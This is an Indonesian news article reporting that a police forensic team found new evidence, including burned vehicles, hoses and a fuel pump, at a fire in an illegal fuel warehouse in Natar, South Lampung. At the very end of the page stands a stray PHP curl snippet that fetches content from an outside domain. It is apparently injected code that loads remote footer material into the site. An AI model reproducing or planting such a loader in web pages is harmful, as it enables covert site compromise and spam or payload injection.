Tim Puslabfor Polri Temukan Bukti Baru

Rabu, 8 Mei 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Lampung Selatan,Jejakasus.Info

 

Tim Pusat Laboratorium dan Forensik (Puslabfor) Mabes Polri menemukan barang bukti (BB) baru terkait kebakaran Gudang BBM Illegal di Candimas Kecamatan Natar Lampung Selatan.

Kedatangan Tim Puslabfor Polri ke Tempat Kejadian Perkara (TKP) yakni untuk mengungkap secara terang benderang kejadian terbakarnya Gudang BBM ilegal yang berada di Candimas Natar Lampung Selatan tersebut.

Kasat Reskrim AKP Dhedi Adi Putra, mewakili Kapolres Lampung Selatan AKBP Yusriandi Yusrin, dalam keteranganya kepada wartawan menyatakan bahwa pihaknya telah melakukan pendampingan dari Tim Puslabfor Mabes Polri untuk pemeriksaan di tempat kejadian perkara (TKP).

Baca Juga:  Polwan Polres Aceh Jaya Himbau Masyarakat, Antisipasi Potensi Gangguan Kamtibmas

“Tim Puslabfor Mabes Polri berjumlah tiga personil telah datang sesuai permohonan kami dan telah dilakukan pemeriksaan di TKP oleh tim Puslabfor,” ujarnya. Rabu (08/05/2024).

Kasat Reskrim juga menjelaskan, pemeriksaan dilakukan pengamatan secara umum dan bersifat uji laboratorium serta ditemukan beberapa barang bukti (BB) pasca kebakaran terjadi.

“Ada temuan barang bukti baru saat dilakukan pemeriksaan oleh Tim Puslabfor Polri di TKP ”

Baca Juga:  Sekda Lampung Selatan Hadiri dan Buka Workshop Pengelolaan Keuangan dan Pembangunan Desa

Adapun BB baru yang ditemukan yakni, 3 (tiga)?Unit kendaraan yang sudah terbakar, ada sisa selang yang terbakar, drigen, kemudian alat pompa transfer bahan bakar dan telah diambil sample secara swap, yang nantinya akan dilakukan pemeriksaan uji laboratorium forensik yang ada di Sentul Jakarta,” jelasnya.

AKP Dhedi menegaskan bahwa hasil pemeriksaan dari Puslabfor pihaknya masih menunggu beberapa hari kedepan, Insyaallah dalam waktu dekat sudah ada hasilnya dan akan di rilis atau disampaikan kembali hasil dari pemeriksaan pelaksanaan secara forensik.

Baca Juga:  Personil Pengamanan Pos Lebaran Polsek Jaya Melaksanakan Kegiatan Patroli Harkamtibmas Dalam Rangka Operasi Ketupat Seulawah 2024

”Saat ini kami dari Satreskrim Polres Lampung Selatan tetap mengupayakan proses lidik maksimal, kami kumpulkan saksi-saksi, untuk dilakukan klarifikasi dan mencari barang bukti lain, bahwa ini memang peristiwa pidana atau bukan,” tegasnya.

Namun demikian tidak menutup kemungkinan kedepan akan ada saksi tambahan dari hasil keterangan saksi-saksi sebelumnya,” pungkasnya.(joe/hms)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan
Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi
Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan
Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali
DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung
Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat
Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi

Berita Terkait

Minggu, 13 Oktober 2024 - 19:18 WIB

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan

Minggu, 13 Oktober 2024 - 09:25 WIB

Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi

Sabtu, 12 Oktober 2024 - 20:32 WIB

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara

Sabtu, 12 Oktober 2024 - 18:48 WIB

Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Jumat, 11 Oktober 2024 - 23:50 WIB

Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>